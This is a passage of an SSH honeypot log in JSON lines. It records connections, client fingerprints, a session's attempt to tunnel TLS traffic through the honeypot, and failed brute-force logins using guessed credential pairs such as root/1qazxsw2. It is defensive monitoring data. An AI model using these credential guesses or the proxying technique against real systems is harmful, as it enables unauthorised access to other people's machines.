**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcc\\xff\\xec\\x16+\\xc2%\\xef\\xec\\xba\\x01\\xe18L`FL\\xfe\\x8f\\x7f\\xd7\\x14\\xeb\\xc8\\xd6\\xc6\\x8aS\\xbfs.b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:16.016945Z","src_ip":"63.141.242.2","session":"7638a0408852","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:16.091223Z","src_ip":"45.153.34.195","session":"0607adb64c50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a1","password":"a1","message":"login attempt [a1/a1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:16.532736Z","src_ip":"45.153.34.195","session":"0607adb64c50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:17.616262Z","src_ip":"45.153.34.195","session":"0607adb64c50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:17.717053Z","session":"7638a0408852","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:17.755913Z","src_ip":"63.141.242.2","session":"7638a0408852","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xad\\x96g\\xe8\\x89\\xf8w\\x8a\\xda\\x92 \\x880\"\\xd0\\xe3\"\\x94\\xdd\\x8dza\\xbc\\x88\\x80.\\xfbcl\\x97K\\xe1 B\\x9d@\\xeb+\\xc5,\\x8f\\x9c\\xeb\\x11\\xe0\\n\\xbc\\x13\\xf2\\xc4\\x81\\xa4\\x15\\x07\\xf1*\\xa7;\\xdaI\\tO/\\xea\\x02\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x02\\xb1\\x1b\\xb9\\xa1#*r\\xe4eE\\xc4l)\\xc2\\xc2.\\x02\\xce\\xaf~`o\\x0c\\xa2\\x1d\\xe6{#8\\x10W\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xad\\x96g\\xe8\\x89\\xf8w\\x8a\\xda\\x92 \\x880\"\\xd0\\xe3\"\\x94\\xdd\\x8dza\\xbc\\x88\\x80.\\xfbcl\\x97K\\xe1 B\\x9d@\\xeb+\\xc5,\\x8f\\x9c\\xeb\\x11\\xe0\\n\\xbc\\x13\\xf2\\xc4\\x81\\xa4\\x15\\x07\\xf1*\\xa7;\\xdaI\\tO/\\xea\\x02\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x02\\xb1\\x1b\\xb9\\xa1#*r\\xe4eE\\xc4l)\\xc2\\xc2.\\x02\\xce\\xaf~`o\\x0c\\xa2\\x1d\\xe6{#8\\x10W\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:17.759068Z","src_ip":"63.141.242.2","session":"7638a0408852","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:17.806949Z","src_ip":"91.92.40.36","session":"3a690d0e8aa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:17.826287Z","src_ip":"91.92.40.36","session":"3a690d0e8aa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35326,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed846cde714c","protocol":"ssh","message":"New connection: 45.153.34.195:35326 (10.17.0.5:22) [session: ed846cde714c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:18.940789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:18.953454Z","src_ip":"45.153.34.195","session":"ed846cde714c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:19.046721Z","src_ip":"45.153.34.195","session":"ed846cde714c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14106,"dst_ip":"159.203.135.109","dst_port":22,"session":"102377a1aaf3","protocol":"ssh","message":"New connection: 91.92.40.36:14106 (159.203.135.109:22) [session: 102377a1aaf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:19.260507Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:19.387166Z","src_ip":"45.153.34.195","session":"ed846cde714c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:20.472880Z","src_ip":"45.153.34.195","session":"ed846cde714c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.1","message":"Connection lost after 22.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:20.802740Z","src_ip":"91.92.40.36","session":"27adc0708531","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35342,"dst_ip":"10.17.0.5","dst_port":22,"session":"c374bdbb0a05","protocol":"ssh","message":"New connection: 45.153.34.195:35342 (10.17.0.5:22) [session: c374bdbb0a05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:21.974751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:21.981883Z","src_ip":"45.153.34.195","session":"c374bdbb0a05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:22.070661Z","src_ip":"45.153.34.195","session":"c374bdbb0a05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftptest","message":"login attempt [ftptest/ftptest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:22.323338Z","src_ip":"45.153.34.195","session":"c374bdbb0a05","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:23.094711Z","src_ip":"91.92.40.36","session":"102377a1aaf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:23.098619Z","src_ip":"91.92.40.36","session":"102377a1aaf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:23.408222Z","src_ip":"45.153.34.195","session":"c374bdbb0a05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.3","message":"Connection lost after 18.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:24.783461Z","src_ip":"63.141.242.2","session":"7638a0408852","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":23286,"dst_ip":"10.17.0.5","dst_port":22,"session":"a881d8c17f53","protocol":"ssh","message":"New connection: 45.153.34.195:23286 (10.17.0.5:22) [session: a881d8c17f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:24.883720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:24.892845Z","src_ip":"45.153.34.195","session":"a881d8c17f53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-d